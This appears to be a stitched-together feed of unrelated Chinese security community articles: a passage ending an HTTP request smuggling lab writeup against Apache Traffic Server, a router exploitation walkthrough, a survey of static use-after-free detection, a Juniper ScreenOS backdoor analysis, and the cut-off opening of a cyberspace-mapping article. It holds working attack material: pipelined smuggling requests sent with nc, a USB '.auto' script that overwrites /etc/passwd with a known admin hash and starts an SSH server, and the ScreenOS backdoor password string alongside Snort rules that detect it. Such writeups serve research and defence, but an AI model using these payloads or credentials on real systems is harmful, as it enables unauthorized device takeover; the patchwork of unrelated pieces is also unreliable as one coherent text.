如果将HaProxy配置为使用与ATS的保持连接，我们可以通过发送两个查询的管道来欺骗HaProxy的HTTP流，其中ATS可以看到3个查询：
[ATS HTTP-Splitting issue on Cache hit + GET + Content-Length]
Something HaProxy ATS Nginx
|--A----------->| | |
| |--A----------->| |
| | |--A----------->|
| | [cache]<--A--------|
| | (etc.) <------| | warmup
--------------------------------------------------------- | | | | attack
|--A(+B)+C----->| | |
| |--A(+B)+C----->| |
| | [HIT] | * Bug *
| |<--A-----------| | * B 'discovered' *
|<--A-----------| |--B----------->|
| | |<-B------------|
| |<-B------------| |
[ouch]<-B----------| | | * wrong resp. *
| | |--C----------->|
| | |<--C-----------|
| [R]<--C----------| | rejected
首先，我们需要初始化缓存，我们使用端口8001来获取流HaProxy-> ATS-> Nginx。
printf 'GET /index.html?cache=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-control: max-age=300\r\n'\
'Content-Length: 0\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8001
您可以运行两次，然后再次看到它没有到达nginx access.log。
然后，我们攻击HaProxy或此HaProxy前面设置的任何其他缓存。 我们使用2条查询的管道，ATS将发送回3条响应。
如果在ATS前面存在保持活动模式，则存在安全问题。 出现这种情况是因为我们不使用选项：HaProxy上的http-close。
printf 'GET /index.html?cache=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-control: max-age=300\r\n'\
'Content-Length: 74\r\n'\
'\r\n'\
'GET /index.html?evil=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
'GET /victim.html?cache=zorglub HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8001
查询/victim.html（在我们的示例中应为404）获取`/index.html (X-Location-echo:
/index.html?evil=cogip2000).`
HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 16:05:41 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
ETag: "5bd321bc-78"
X-Location-echo: /index.html?cache=cogip2000
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 12
$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>
HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 16:05:53 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
ETag: "5bd321bc-78"
X-Location-echo: /index.html?evil=cogip2000
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 0
$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>
这里的问题很关键，特别是因为攻击查询中没有无效的语法。
我们有一个HTTP响应拆分，这意味着两个主要影响：
查询是隐藏，因此在ATS前面设置的任何安全过滤器都不能阻止第二个查询。 我们可以使用它来隐藏第二层攻击，例如其他攻击中所述的ATS缓存中毒。
现在已经有了一个工作实验室，可以尝试嵌入多层攻击...
为了更好地了解现实世界的影响，攻击者是唯一收到响应B而不是C的人。
HaProxy不是缓存，因此HaProxy上的`C-request/B-response`混合并不是真正的直接威胁。
但是，如果HaProxy前面有一个缓存，或者我们使用了多个链接的ATS代理。
本文为翻译文章，来自：[https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/] | 社区文章 |
# Ubee EVW322的UPC自定义固件中存在命令执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://firefart.at/post/upc_ubee_fail/>
译文仅供参考，具体内容表达以及含义原文为准。
**在**[ **Blasty**](https://twitter.com/bl4sty) **和他的**[ **UPC
Wifi密钥生成器**](https://haxx.in/upc-wifi/)
**的激励下，我决定对我的UPC路由器进行一番研究。在这次实验中，我所使用的路由器型号为Ubee
EVW3226，该路由器安装了UPC自定义固件，并且能够给用户提供了一个功能更加强大的web接口和其他的一些附加功能。**
首先，我使用了一些调试pin码来对设备进行测试，并且发现了很多可能的UART连接器。我将我的[Buspirate](https://www.sparkfun.com/products/9544)与第一个UART连接器相连，然后得到了一个受到密码保护的登录shell。我尝试了一些可能的默认密码，但都无法成功登录，所以我需要通过其他的方法来实现这一操作。根据我所找到的[另一篇博文](https://www.freeture.ch/?p=766)，虽然在这一类设备上还存在有另一个不受密码保护的UART连接器，但在我这个型号的路由器上却没有。
所以，我决定对设备的芯片进行详细的分析和研究，功夫不负有心人，我成功发现了两块闪存芯片：Spansion
FL128PIF。在对我所得到的数据表进行了分析之后，我发现在芯片上还有一些SPI
pin码，我可以利用这些信息来导出芯片中的数据（或者将数据写入其中）。所以我决定利用SOIC测试卡来对闪存芯片进行测试，并且将我的[GoodFET](http://goodfet.sourceforge.net/)与芯片进行连接。使用测试卡是一个非常棒的选择，因为在测试的过程中你无需将芯片从主板上拆下来。其中每块芯片的内存大小均为16MB，在使用了spiflash
dump这一命令之后，我便能够将每块芯片中的所有数据全部导出。导出数据的地址范围也可以从之前所获取到的数据表中得到。
接下来，我们所要做的就是提取出其中的具体内容。在binwalk最新开发者版本的帮助下，我成功地从这两块芯片中提取出了文件系统的具体数据。但是使用这种方法导出的数据只包含UPC固件中的静态数据，目前为止我们仍然无法得到固件的运行配置信息。
在IDA的帮助下，我对其中的二进制代码进行了分析，我在aimDaemon中发现了下列代码：
通过这些这些代码，我们还发现了一些相关的代码段：这些代码能够提取出内部USB设备的标识符，如果标识符为EVW3226，那么这段代码将会执行/var/tmp/mount-sub.sh命令，并且将“go”作为该命令的第一个参数。
mount_usb.sh:
#!/bin/bash
if [ $1 == "go" ]; then
dev_path=$(blkid /dev/sd |cut -c 1-9)
eval $(blkid /dev/sd |cut -d " " -f 2)
eval $(blkid /dev/sd |cut -d " " -f 3)
eval $(blkid /dev/sd |cut -d " " -f 4)
echo "dev_path="$dev_path" LABEL="$LABEL" UUID="$UUID" TYPE="$TYPE"" >> /tmp/mountlist
umount_folder=$(mount | grep "/var/tmp" | awk '{print $3}')
for curr_folder in $umount_folder ; do
if [ -n "$curr_folder"]; then
umount -l $curr_folder
rm -fr $curr_folder
fi
done
for curr_folder in $UUID ; do
mkdir /var/tmp/media/$curr_folder -p
if [ "$TYPE" == "ntfs" ]; then
echo "ntfs-3g "$dev_path" /var/tmp/media/"$curr_folder
ntfs-3g $dev_path /var/tmp/media/$curr_folder
else
echo "mount "$dev_path" /var/tmp/media/"$curr_folder
mount $dev_path /var/tmp/media/$curr_folder
fi
if test -f /var/tmp/media/$curr_folder/.auto
then
rm -fr /var/tmp/disk
cd /var/tmp
ln -s /var/tmp/media/$curr_folder disk
chmod +x /var/tmp/media/$curr_folder/.auto
sh /var/tmp/media/$curr_folder/.auto
fi
done
if [ $2 == "1" ]; then
killall minidlna
/fss/fss2/sbin/minidlna -R -f /var/tmp/minidlna.conf
fi
else
echo $1 ... >> /var/tmp/.usbadd
fi
你可以从上面这段代码中看到，这个脚本将会加载usb存储设备（类似U盘），并且检测设备中是否存在一个后缀名为.auto的文件。如果这个文件存在，这个脚本将会在这个文件与/var/tmp/disk之间创建一个符号链接，这个.auto文件将会可以sh命令来直接执行。
这也就意味着，如果我们能够创建一个带有正确标识符的USB存储设备，那么我们就能够在路由器上执行任何我们想要执行的命令了。
我们的路由器能够以路由器模式运行，也能够以桥接模式运行。但我在实验过程中发现，路由器似乎会进行某种检测，因为它只能够在路由器模式下执行这个脚本。所以如果大家想要自行进行测试的话，请确保你的路由器是在路由器模式下运行的。
接下来，我将带着大家一步一步进行测试。
首先，我们需要准备好我们的USB存储设备：
umount /dev/sdb1
fdisk /dev/sdb # 清理设备的分区表，并创建一个新的主分区
mkfs.vfat /dev/sdb1
mlabel -i /dev/sdb1 ::EVW3226
将下列数据写入.auto文件之后，我们便可以尝试在设备上开启一个telnet服务器：
telnetd &
在插入了USB设备之后，我们需要等待几秒钟，然后便可以通过telnet来与路由器设备进行连接了。不幸的是，设备中似乎存在某些进程能够终止telnetd进程，所以在我们试图访问路由器设备时所使用的这种方法并不是一种稳定可行的方法。
幸运的是，我们还可以使用Dropbear来创建一个ssh服务器。但是在路由器的文件系统中还缺少必要的hostkeys，所以我在Ubuntu虚拟机中使用了下列命令，并在USB设备中重新创建了这些在实验中所需要的key文件：
dropbearkey -t rsa -f /media/firefart/EVW3226/dropbear_rsa_host_key
由于我无法在短时间内破解设备密码的哈希值，所以我们还需要为自己添加一个用户。在这一操作中，我们可以使用admin:admin哈希来覆盖/etc/passwd中的原始信息。
所以，最终的.auto文件如下：
#!/bin/bash
echo admin:FvTuBQSax2MqI:0:0:admin,,,:/:/bin/sh > /etc/passwd
dropbear -r /var/tmp/disk/dropbear_rsa_host_key -p 192.168.0.1:22
在插入了USB设备之后，我们还是需要等待几秒钟。等待过后，我们便可以使用ssh来与路由器设备进行连接，并使用密码"admin"来登录该设备了。
ssh admin@192.168.0.1
在下一步中，我们将对路由器的内部信息进行分析。在此我向大家透露一下，在路由器固件的镜像文件中还存在有大量的密码和密钥。
如果大家还想了解更多相关的信息，请持续关注我们的文章。除此之外，在32C3大会上的[一次演讲](https://media.ccc.de/v/32c3-7133-beyond_your_cable_modem)也能够给大家提供很多有价值的信息。 | 社区文章 |
# 【技术分享】通过静态分析检测二进制代码中的Use-After-Free漏洞
|
##### 译文声明
本文是翻译文章，文章来源：blog.amossys.fr
原文地址：<http://blog.amossys.fr/intro-to-use-after-free-detection.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：260RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
Use-After-Free是一种众所周知的漏洞类型，经常被现代的攻击代码所利用（参见Pwn2own
2016）。在研究项目AnaStaSec中，AMOSSYS提供了许多关于如何静态检测二进制代码中的此类漏洞的介绍。在这篇博文中，我们将向读者阐述学术界在如何检测这种类型的漏洞方面提出的各种建议。当然，他们当前的目标是定义一种通用方法，这样的话，我们就可以根据自己的需求来构建相应的概念验证工具了。
**关于Use-After-Free（UAF）漏洞**
UAF的原理很容易理解。当程序尝试访问先前已被释放的内存区时，就会出现“Use-After-Free”漏洞。在这种情况下创建的悬空指针将指向内存中已经释放的对象。
举个例子，下面的代码将导致一个UAF漏洞。如果下面的代码在运行过程中执行了if分支语句的话，由于指针ptr指向无效的存储器区，所以可能发生不确定的行为。
char * ptr = malloc(SIZE);
…
if (error){
free(ptr);
}
…
printf("%s", ptr);
图 1：Use-After-Free示例代码
换句话说，如果发生如下所示的3个步骤，就会出现UAF漏洞：
分配一个内存区并且让一个指针指向它。
内存区被释放，但原来的指针仍然可用。
使用该指针访问先前释放的内存区。
大多数时候，UAF漏洞会只会导致信息泄漏，但有的时候，它还可能导致代码执行——攻击者对这种情况更感兴趣。导致代码执行通常发生在下列情况下：
程序分配了内存块A，后来将其释放了。
攻击者分配了内存块B，并且该内存块使用的就是之前分配给内存块A的那片内存。
攻击者将数据写入内存块B。
程序使用之前释放的内存块A，访问攻击者留下的数据。
在C++中，当类A被释放后，攻击者立刻在原来A所在的内存区上建立一个类B的时候，就经常出现这种漏洞。这样的话，当调用类A的方法的时候，实际上执行的是攻击者加载到类B中的代码。
现在我们已经掌握了UAF的概念，接下来我们将考察安全社区是如何检测这种漏洞的。
**静态和动态分析的优缺点**
二进制代码的分析方法主要有两种：静态分析和动态分析。就目前来说，动态地分析整个代码是非常困难的，因为要想生成可以覆盖所有二进制代码执行路径的输入的话，绝不是一件容易的事情。因此，当我们专注于代码覆盖问题时，静态分析方法似乎更为适用。
然而，根据论文[Lee15]和[Cab12]的介绍，与Use-After-Free漏洞检测有关的大多数学术论文仍然集中在动态分析方面。这主要是因为。动态分析方法易于检测同一指针的副本，也称为别名。换句话说，使用动态分析方法时，我们可以直接访问内存中的值，这种能力对于代码分析来说是非常重要的。如果使用动态分析的话，我们能够获得更高的准确性，但同时也会失去一些完整性。
然而，本文将专注于静态分析方法。在学术界看来，这种方法仍然面临两大困难：
1)
最大的困难是如何管理程序中的循环。实际上，当计算循环中待处理的变量的所有可能值时，需要知道循环将被执行多少次。这个问题通常被称为停机问题。在可计算性理论中，所谓停机问题就是去判断程序会最终停下来，还是一直运行下去。不幸的是，这个问题已经被证明是无解的。换句话说，没有通用算法可以在给出所有可能输入的情况下解决所有可能程序的停止问题，即不存在一个判定一切程序的程序，因为这个程序本身也是程序。在这种情况下，为了解决这个问题，只好借助于静态分析工具来进行相应的简化了。
2)
另一个困难在于内存的表示方式。一个简单的解决方案是维护一个大数组，其中保存指针的内存值。然而，这不是看起来那么简单。例如，一个内存地址可以具有多个可能的值，或者一些变量可以具有多个可能的地址。此外，如果有太多可能取值，那么将所有的值都单独保存的话是不合理的。因此，必须对这种内存表示进行一些简化。
为了降低静态分析的复杂性，一些论文像[Ye14]或像Polyspace或Frama-C这样的工具，都是在C源代码级别来分析问题的，因为这个级别包含了最大程度的信息。但是，人们在分析应用程序的时候，通常是无法访问源代码的。
**从二进制代码到中间表示**
当我们进行二进制分析的时候，第一步是建立相关的控制流图（CFG）。控制流图是一种有向图，用来表示程序在执行期间可能经过的所有路径。CFG的每个节点代表一条指令。由一条边连接的两个节点表示可以连续执行的两个指令。如果一个节点具有两个延伸到其他节点的边，这表明该节点是一个条件跳转指令。因此，通过CFG我们可以将一个二进制代码组织成一个指令的逻辑序列。在为可执行文件建立CFG的时候，最常见的方法是使用反汇编程序IDA
Pro。
当处理二进制代码方面，学术论文好像都是用相同的方式来处理UAF漏洞的。论文[Gol10]和[Fei14]给出了具体的处理步骤：
事实表明循环似乎对Use-After-Free的存在没有很大的影响。因此，在着手处理二进制代码时，一个强制性的步骤就是利用第一次迭代展开循环。就像我们前面刚刚解释的那样，这个步骤可以避免停机问题。第一次迭代
为了简化前面提到的内存表示问题，我们可以使用中间表示形式（IR），因为这种表示形式可以独立于具体的处理器架构。例如，x86汇编代码就过于复杂，因为它有太多的指令。一个解决办法是对小型的指令集进行分析。使用中间表示形式的时候，每个指令都被转换为几个原子指令。至于选择哪种中间表示形式，则取决于分析的类型。在大多数情况下，我们都会选择逆向工程中间语言（REIL），但是在一些学术文献中也有使用其他IR的，例如BAP（[Bru11]）或Bincoa（[Bar11]）等。
REIL
IR只有17种不同的指令，并且每个指令最多有一个结果值。我们可以使用像BinNavi这样的工具将本机x86汇编代码转换为REIL代码，BinNavi是由Google（以前是Zynamics）开发的一个开源工具。BinNavi可以将IDA
Pro的数据库文件作为输入，这一特性给我们带来了极大的便利。
**符号执行与抽象解释**
一旦将二进制代码转换为中间表示形式，我们就可以通过两种方法来分析这些二进制代码的行为了，即抽象解释（[Gol10]和[Fei14]）或符号执行（[Ye14]）。
符号执行使用符号值作为程序的输入,将程序的执行转变为相应符号表达式的操作,通过系统地遍历程序的路径空间,实现对程序行为的精确分析。因此，符号执行不会使用输入的实际值，而是采用抽象化符号的形式来表示程序中的表达式和变量。因此，这种分析方法不是跟踪变量的值，而是用代表变量值的符号来生成算术表达式，这些表达式可以用于检查条件分支等。
另一方面，抽象解释是基于这样的思想的——程序的分析可以在一定抽象级别上进行。因此，不需要跟踪每个变量的精确值，并且语义可以替换为描述指令对变量的影响的抽象语义。例如，变量可以由它们的符号来定义。对于加法指令来说，可以通过检查操作数的符号来设置结果的符号。因此，如果操作数的符号是+，那么结果的符号也是+，但是永远不会计算变量的确切值。除符号之外，我们还可以定义其他各种抽象域。例如，可以通过一个内存位置（全局，堆和栈）上的值区间来跟踪变量的值。值集分析（VSA）就是一种基于这种表示方法的分析技术。
举例来说，monoREIL框架就是一个基于REIL IR的VSA引擎。它极大地简化了VSA算法的开发工作，使开发人员能够在自己的抽象域上执行VSA。
**分析中间表示形式**
下一个问题是如何通过CFG时实现分析算法。同样，这里也有两种方式：
过程内分析，限于当前函数的范围
过程间分析，能够进入子函数
不用说，程序内分析要比程序间分析简单得多。然而，当一个人想要检测UAF漏洞时，他必须能够一直跟踪内存块：从这些内存块的分配到释放…，所以，有时候会涉及多个函数。
这就是为什么论文[Gol10]提出首先进行过程内分析，然后将其扩展到全局的过程间分析的原因。如图2所示，对于每个函数，都创建一个相应的方框。这些方框用来总结函数的行为，连接它们的输出与输入。因此，当将分析扩展到过程间分析时，每个函数调用都会被这个函数的过程内分析的结果代替。这种方法的主要优点是函数只需要分析一次即可，即使它们被调用了很多次也是如此。此外，在进行过程内分析时，即使非常小的代码块也不会放过，因此这种方法是非常精确的。
图2：由诸多过程内分析合并而成的过程间分析
此外，在论文[Fei14]中还提出了另一种解决方案。第二种方法（如图3所示）会将被调用函数内联到调用函数中。因此，函数调用不再是一个问题。虽然该解决方案更加容易实现，但是它有一个缺点，即如果一个函数被调用两次的话，则该函数将被分析两次。因此，该方法更加耗时，对内存的需求也更大。
图3：通过将函数内联到单一函数中的过程间分析
**检测UAF漏洞**
在上文中，我们介绍了分析二进制代码语义的不同方法，以及遍历控制流图的各种方法。下面，我们开始介绍如何检测UAF模式。首先让我们UAF的定义，我们知道UAF是通过两个不同的事件来进行刻画的：
创建一个悬空指针，
访问该指针指向的内存。
为了检测这种模式，论文[Fei14]跟踪所有已经释放的内存堆区域，并且在每次使用指针时都会检查它是否指向这些已经释放的内存区。
下面，让我们拿下面的伪代码为例进行说明。注意，为了简单起见，该示例没有提供复杂的CFG。事实上，CFG的处理方法取决于所选择的分析方法及其实现…这个例子的目的，只是展示一种通过分析代码检测Use-After-Free的方法。
1\. malloc(A);
2\. malloc(B);
3\. use(A);
4\. free(A);
5\. use(A);
上面的伪代码分配了两个内存块，并且可以通过名称A和B来引用这两个内存块。然后，访问（Use(A)）了一次内存块A之后，接着释放（Free(A)）该内存块。之后，又再次访问了该内存块。
通过定义两个域（一组分配的堆元素和一组释放的堆元素），可以在每个指令处更新这些集合，并检查它访问的内存是否属于已分配的内存块集合，具体如图4所示。
图 4：通过域检测机制挖掘Use-After-Free漏洞
当内存块A被再次访问时，它已经在上一步中被注册为已释放的内存块，因此分析程序就会发出警报：检测到Use-After-Free漏洞。
在论文[Ye14]中，它提出的另一种检测目标模式的方法，但是它使用的是简单状态机。该方法的思路是，在分配内存之后，指向该内存块的指针被设置为“分配”状态，并且该状态在相应的内存块未被释放之前保持不变。当内存块被释放时，它们就会转换为“释放”状态。当处于释放状态的指针被使用的时候，就会导致“Use-After-Free”状态。然而，如果指针及其别名被删除并且不再引用内存块的话，则它们就是无害的，这时就会进入“结束”状态。这个简单的状态机如图5所示。
图5：用于检测Use-After-Free漏洞的简单状态机
此外，在论文[Gol10]中也提出一个不同的解决方案，但是它使用的工具是图论。在这篇论文中，作者会对使用指针的语句进行检查，看看它是在释放内存的语句之后还是之前。如果是之后的话，就检测出了UAF漏洞。
图6：具有潜在Use-After-Free漏洞的图
在任何情况下，只要检测到悬空指针，分析的最后阶段必须通过提取导致该指针的子图来表征UAF漏洞。这个子图必须包含所有必要的元素，来让人类手动检查，以避免真阳性。
**总结**
我们在这里介绍了几种通过基于静态分析的二进制代码Use-After-Free漏洞检测方法。同时，我们也对这种分析触发器的不同问题进行了详细的介绍，阅读之后您就不难理解为什么在检测这种bug的时候没有简单的解决方案了。
我们在开展这项工作中还发现，只有少数研究人员将其成果作为开源项目发布。Veribag团队的Josselin
Feist开发的GUEB项目就是其中之一。如果对这个课题感兴趣的话，我们鼓励你访问他的Github。
**参考文献**
**[Lee15]** Preventing Use-after-free with Dangling Pointers Nullification.
Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang. s.l. : NDSS
Symposium 2015, 2015.
**[Cab12]** Early Detection of Dangling Pointers in Use-after-Free and Double
Free Vulnerabilities. Juan Cabaleero, Gustavo Grieco, Mark Marron, Antionia
Nappa. IMDEA Software Institute, Madrid; Spain : ISSTA 2012, 2012.
**[Ye14]** UAFChecker: Scalable Static Detection or Use-After-Free
Vulnerabilities. Jiay Ye, Chao Zhang, Xinhui Han. s.l. : CCS'14, 2014.
**[Gol10]** Gola, Vincenzo Iosso. Detecting aliased stale pointers via static
analysis. s.l. : Politecnico di Milano, 2010.
**[Fei14]** Statically detecting use after free on binary code. Josselin
Feist, Laurent Mounier, Marie-Laure Potet. s.l. : Journal of Computer Virology
and Hacking Techniques, 201
**[Bru11]** Brumley, D., Jager, I., Avgerinos, T., Schwartz, E.J.: Bap: a
binary analysis platform. In: Proceedings of the 23rd International Conference
on Computer Aided Verification. CAV’11, pp. 463–469. Springer, Heidelberg
(2011)
**[Bar11]** Bardin, S., Herrmann, P., Leroux, J., Ly, O., Tabary, R.,Vincent,
A.:The bincoa framework for binary code analysis. In: Proceedings of CAV’11,
pp. 165–170. Springer, Berlin (2011) | 社区文章 |
# CVE-2015-7755: Juniper ScreenOS认证后门分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor>
译文仅供参考，具体内容表达以及含义原文为准。
2015年12月18日Juniper网络发布声明（[advisory](https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713&cat=SIRT_1&actp=LIST)）示，他们已经发现了ScreenOS中的未经授权的代码，ScreenOS软件管理Netscreen防火墙。此声明涉及两个不同的问题;一个通过VPN实现的后门使恶意窃听者破解流量，以及另一个后门在SSH和Telnet防护进程中允许攻击者绕过身份验证。不久后，Juniper网络发布了这个声明，FoxIT的一名员工[表示](https://twitter.com/cryptoron/status/677900647560253442)，他们能够在6小时之内破解后门密码。一个快速[Shodan检索](https://www.shodan.io/search?query=netscreen+product%3A%22NetScreen+sshd%22)发现约26,000个
面向Internet的NetScreen设备使用公开的SSH 。鉴于这一问题的严重性，我们决定进行调查。
Juniper网络公司的顾问提到，版本6.2.0r15到6.2.0r18和6.3.0r12到6.3.0r20受到影响。Juniper网络提供了新的6.2.0和6.3.0版本，还重建了省略了后门代码的旧包。重建后的旧包版本有“b”后缀，并有一组很小的变化，这使它们成为分析的最佳选择。为了分析此固件，它必须被打包然后解压缩。该固件包含一个二进制的ZIP文件。这个二进制是一个解压缩的存根，有一个gzip压缩的内核。x86图像可以很容易地用binwalk提取，但获取XScale图像需要做更多的[工作](https://gist.github.com/hdm/5b82d160ea72a711110d)。ScreenOS不是基于Linux或BSD的，而是作为一个单一的整体的内核运行。该SSG500固件使用x86架构，而SSG5和SSG20固件使用的是XScale（ARMB）架构。解压缩的内核可加载到IDA
Pro以便分析。作为分析工作的一部分，我们已经取得了解压缩二进制文件，可以从[GitHub仓库](https://github.com/hdm/juniper-cve-2015-7755/tree/master/firmware)获取。
与ARM相比虽然大多数人都更为熟悉x86，但是由于编译器输出最小的变化，ARM的二进制文件更容易进行比较。为了加载SSG5（ssg5ssg20.6.3.0r19.0.bin）固件到国际开发协会（IDA），
应该选择ARMB
CPU，使用0x80000负载地址和文件偏移量0x20。一旦二进制被加载，它有助于识别和标记常见功能。在搜索文本“STRCMP”来找到一个sub_ED7D94函数引用的静态字符串。观察串输出，我们可以看到一些有趣的字符串引用，包括auth_admin_ssh_special和auth_admin_internal。搜索“auth_admin_internal”找到sub_13DBEC功能。这个函数有一个6.3.0r19b固件中不存在的“STRCMP”调用：
该STRCMP调用的参数是<<<％S（UN
='％s'的）=％U，也就是后门密码，推测选择它是因为会被误认为是在代码之中其他许多调试格式字符串中的一个。此密码允许攻击者绕过SSH和Telnet认证，只要他们知道一个有效的用户名。如果你想手工测试一下这个问题，Telnet或SSH
一个NetScreen设备，指定一个有效的用户名和后门密码。如果该设备是脆弱的，你应该得到一个具有最高权限的交互式shell。
这个后门有趣的不是它很简单，而是出现的时机。
Juniper网络公司的顾问称，版本6.2.0r15到6.2.0r18和6.3.0r12到6.3.0r20受到影响，但是实际上认证后门并不存在于旧版本的ScreenOS。我们无法确定6.2.0r15，6.2.0r16，6.2.0r18版本的后门，可能说整个6.2.0系列并没有受到这个问题的影响会比较中肯（虽然VPN问题确实存在）。我们也无法识别的版本6.3.0r12或6.3.0r14的认证后门。我们可以证实，版本6.3.0r17和6.3.0r19受到影响，但未能检查6.3.0r15或6.3.0r16。这很有趣，因为虽然第一个受影响的版本是在2012年发布，认证后门似乎直到2013年底都没有得到修复（6.3.0r15，6.3.0r16，或6.3.0r17也没有）。
检测这个问题不容易，但也有一些事情可以做。Juniper网络提供了一个成功的入侵日志是什么样子：
2015-12-17 09:00:00 system warn 00515 Admin user system has logged on via SSH from …..
2015-12-17 09:00:00 system warn 00528 SSH: Password authentication successful for admin user ‘username2’ at host …
虽然攻击者一旦获取权限也可以删除该日志，但是任何发送到集中记录服务器（或SIEM）的日志都将被捕获并且可以用来触发警报。
FoxIT形成了一整套[Snort规则](https://gist.github.com/fox-srt/ca94b350f2a91bd8ed3f)可以使用后门密码通过Telnet来检测权限并且建立到ScreenOS
Telnet或SSH服务的任何连接访问：
# Signatures to detect successful abuse of the Juniper backdoor password over telnet.
# Additionally a signature for detecting world reachable ScreenOS devices over SSH.
tcp $HOME_NET 23 -> any any (msg:"FOX-SRT - Flowbit - Juniper ScreenOS telnet (no)"; flow:established,to_client; content:"Remote Management Console|0d0a|"; offset:0; depth:27; flowbits:set,fox.juniper.screenos; flowbits:no; reference:cve,2015-7755; reference:url,http://kb.juniper.net/JSA10713; classtype:policy-violation; sid:21001729; rev:2;)
tcp any any -> $HOME_NET 23 (msg:"FOX-SRT - Backdoor - Juniper ScreenOS telnet backdoor password attempt"; flow:established,to_server; flowbits:isset,fox.juniper.screenos; flowbits:set,fox.juniper.screenos.password; content:"|3c3c3c20257328756e3d2725732729203d202575|"; offset:0; fast_pattern; classtype:attempted-admin; reference:cve,2015-7755; reference:url,http://kb.juniper.net/JSA10713; sid:21001730; rev:2;)
tcp $HOME_NET 23 -> any any (msg:"FOX-SRT - Backdoor - Juniper ScreenOS successful logon"; flow:established,to_client; flowbits:isset,fox.juniper.screenos.password; content:"-> "; isdataat:!1,relative; reference:cve,2015-7755; reference:url,http://kb.juniper.net/JSA10713; classtype:successful-admin; sid:21001731; rev:1;)
tcp $HOME_NET 22 -> $EXTERNAL_NET any (msg:"FOX-SRT - Policy - Juniper ScreenOS SSH world reachable"; flow:to_client,established; content:"SSH-2.0-NetScreen"; offset:0; depth:17; reference:cve,2015-7755; reference:url,http://kb.juniper.net/JSA10713; classtype:policy-violation; priority:1; sid:21001728; rev:1;)
如果你正在尝试更新一个ScreenOS系统，或遇到任何和权限密码有关的问题，请参考Steve
Puluka的[博客文章](http://puluka.com/home/techtalknetworking/screenoscriticalsecurityissue2015.html)。
我们要感谢Comsecuris的Ralf-Philipp Weinmann，他帮助拆包和分析固件，还要感谢Fox-IT 的Maarten
Boone确认我们的调查结果，并提供上述的Snort规则。 | 社区文章 |
# 网络空间测绘溯源技术剖析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：风起
## 空间测绘技术思想
**网络空间测绘是2016年出现的一个概念，主要指用一些技术方法，来探测全球互联网空间上的节点分布情况和网络关系索引，构建全球互联网图谱的一种方法。【百度百科】**
测绘实际上是一个地理信息相关的专业学科，针对海里的、陆地的、天上的地理信息进行盘点。同样应用于网络空间
，发现未知、脆弱的资产也是如此，更像是一张网络空间地图，用来全面描述和展示网络空间资产、网络空间各要素及要素之间关系，以及网络空间和现实空间的映射关系。
**应用场景：**
* 企业内遗忘的，孤立的资产进行识别并加入安全管理。
* 企业外部暴露资产进行快速排查，统计。
* 红蓝对抗相关需求使用，对捕获IP进行批量检查。
* 批量收集脆弱资产(0day/1day) 影响内的设备、终端。
* 新型网络犯罪涉案站点信息进行快速收集，合并，进行更高效的研判、分析。
* 对互联网上受相关漏洞影响的脆弱资产，进行统计、复现。
**3W问题（“What？Where？Who？”）是网络空间测绘要解决的基本问题。** 从字面意思来看也就是 **是什么，在那里，谁的？**
而应用于红队，目前各级护网对于资产归属的划分其实比较严格，例如资产属于总集团还是二级单位或者子公司，是否与集团内网互通？都是需要思考以及确认的点。那么我们首先从who去思考再从what谁和where在哪里去收集，资产的所属单位以及相关的网络信息，例如使用的框架、部署的业务系统、服务、开放的端口、使用的开发语言、域名等等。
当然，无论是红队攻防还是线索追溯亦或者是安全运营，首先确定的都应该是目标的归属问题，如果不是相关目标或者自己的资产时，那么后续的工作开展都是没有意义的，所以在进行空间测绘的使用时首先需要做的就是确定目标的归属问题，继而考虑资产所处的位置以及什么的问题。
在了解了3W的问题后，我们继续引出网络空间测绘的三大概念： **行为测绘、动态测绘、交叉测绘** 。
## 行为测绘
**不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。**
目前在网络空间测绘里常用的通用组件指纹识别形成的指纹库就是利用了通用组件通用的默认配置特征这个“行为”来进行识别的，很显然这个充分利用了人类“懒惰“的这个性格引起的通用默认配置的”行为“进行测绘的，但是也就忽视那些进行自定义的配置的目标，而这些目标是本文要阐述的主要对象。
在这些自定义过程中不同的群体又可能表现出不一样的独有特征，我们利用这些行为特征进行网络空间测绘，这就是所谓的“ **行为测绘**
”了。通过实践经验“行为测绘”在威胁情报领域、国家基础设施测绘、APT/botnet/黑产等组织测绘上有巨大应用空间及震撼的效果。【SuperHei语录】
**P.S.或许他更喜欢叫黑格尔一点23333**
这里我们也可以把行为理解为特征，而如何提取这些特征，进行更加精准的匹配无疑也成为了最重要的环节之一。
在针对某一目标的关联中，如果目标站点使用了HTTPS协议，那么我们就可以通过提取证书 **Serial Number、Subject**
